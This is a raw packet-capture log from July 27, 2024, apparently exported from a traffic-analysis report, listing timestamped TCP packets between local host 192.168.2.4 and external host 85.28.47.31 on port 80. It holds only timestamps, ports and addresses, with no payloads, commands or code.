Jul 27, 2024 05:39:11.484580040 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.484603882 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.484622955 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.484673977 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.484680891 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.484708071 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.484731913 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.484740019 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.484766006 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.484772921 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.484788895 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.484822989 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.484829903 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.484855890 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.484878063 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.484889984 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.484914064 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.484921932 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.484942913 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.484956026 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.484977961 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.485006094 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.485017061 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.485038996 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.485064983 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.485071898 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.485097885 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.485106945 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.485124111 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.485141993 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.485163927 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.485193014 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.485199928 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.485225916 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.485248089 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.485268116 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.485284090 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.485301018 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.485325098 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.485340118 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.485364914 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.485373020 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.485395908 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.485405922 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.485428095 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.485438108 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.485462904 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.485471964 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.485498905 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.485501051 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.485523939 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.485533953 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.485555887 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.485567093 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.485591888 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.485599041 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.485624075 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.485634089 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.485661030 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.485667944 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.485685110 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.485702991 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.485727072 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.485735893 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.485757113 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.485769987 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.485790968 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.485802889 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.485829115 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.485838890 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.485850096 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.485892057 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.490521908 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.490555048 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.490586996 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.490592957 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.490619898 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.490619898 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.490645885 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.490672112 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.490695000 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.490705967 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.490732908 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.490740061 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.490763903 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.490772963 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.490799904 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.490823030 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.490833998 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.490856886 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.490880013 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.490890026 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.490910053 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.490922928 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.490946054 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.490957022 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.490983963 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.490989923 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.491013050 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.491024017 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.491045952 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.491055965 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.491077900 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.491089106 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.491111994 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.491122007 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.491141081 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.491156101 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.491178989 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.491189003 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.491209030 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.491221905 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.491244078 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.491255045 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.491281033 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.491306067 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.491312027 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.491338968 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.491360903 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.491373062 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.491396904 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.491405964 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.491439104 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.491446972 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.491463900 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.491496086 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.491503000 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.491529942 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.491552114 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.491560936 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.491592884 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.491602898 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.491625071 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.491627932 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.491646051 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.491677046 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.491683006 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.491710901 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.491736889 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.491745949 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.491764069 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.491780996 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.491801977 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.491815090 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.491839886 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.491848946 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.491869926 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.491882086 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.491908073 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.491914988 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.491940022 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.491949081 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.491977930 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.491981983 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.492002964 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.492017984 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.492033005 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.492052078 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.492075920 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.492084026 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.492105007 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.492116928 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.492140055 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.492151022 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.492176056 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.492186069 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.492208004 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.492239952 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.564673901 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.564726114 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.564754963 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.564764023 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.564796925 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.564825058 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.564825058 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.564831018 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.564851046 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.564863920 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.564898014 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.564902067 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.564938068 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.564954996 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.569839954 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.569891930 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.569906950 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.569943905 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.569958925 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.569998980 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.570015907 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.570050001 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.570056915 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.570082903 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.570101976 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.570117950 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.570135117 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.570152044 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.570167065 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.570185900 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.570205927 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.570218086 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.570235014 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.570251942 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.570267916 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.570285082 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.570302963 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.570317984 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.570333004 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.570353031 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.570368052 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.570401907 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.573937893 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.573971987 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.574001074 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.574002981 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.574023962 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.574035883 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.574048996 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.574069977 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.574085951 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.574104071 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.574136972 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.574148893 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.574157000 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.574186087 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.574187040 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.574219942 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.574240923 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.574268103 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.574268103 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.574316025 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.574326992 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.574364901 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.574371099 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.574403048 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.574423075 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.574430943 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.574446917 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.574464083 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.574477911 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.574498892 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.574511051 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.574528933 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.574552059 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.574570894 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.574573040 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.574623108 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.574640989 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.574656010 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.574666023 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.574691057 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.574713945 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.574722052 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.574759007 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.574771881 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.574786901 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.574820995 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.574827909 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.574855089 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.574868917 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.574899912 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.574903011 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.574937105 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.574955940 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.574968100 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.574989080 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.575000048 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.575016975 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.575031996 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.575043917 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.575064898 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.575078964 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.575098991 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.575108051 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.575131893 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.575146914 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.575172901 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.575203896 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.575236082 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.575262070 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.575267076 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.575299978 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.575324059 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.575331926 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.575349092 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.575364113 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.575383902 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.575397015 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.575407982 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.575442076 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.575445890 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.575486898 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.580430031 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.580463886 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.580513000 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.580533981 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.580534935 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.580584049 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.580585003 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.580616951 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.580626965 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.580661058 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.580666065 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.580701113 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.580713034 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.580750942 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.580763102 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.580784082 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.580796957 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.580817938 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.580827951 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.580849886 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.580858946 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.580883980 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.580909014 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.580914974 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.580926895 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.580948114 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.580956936 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.580981016 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.580988884 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.581013918 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.581032991 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.581046104 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.581063986 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.581087112 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.581094980 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.581125975 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.581142902 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.581159115 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.581170082 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.581207991 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.581208944 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.581252098 CEST	80	49477	85.28.47.31	192.168.2.4
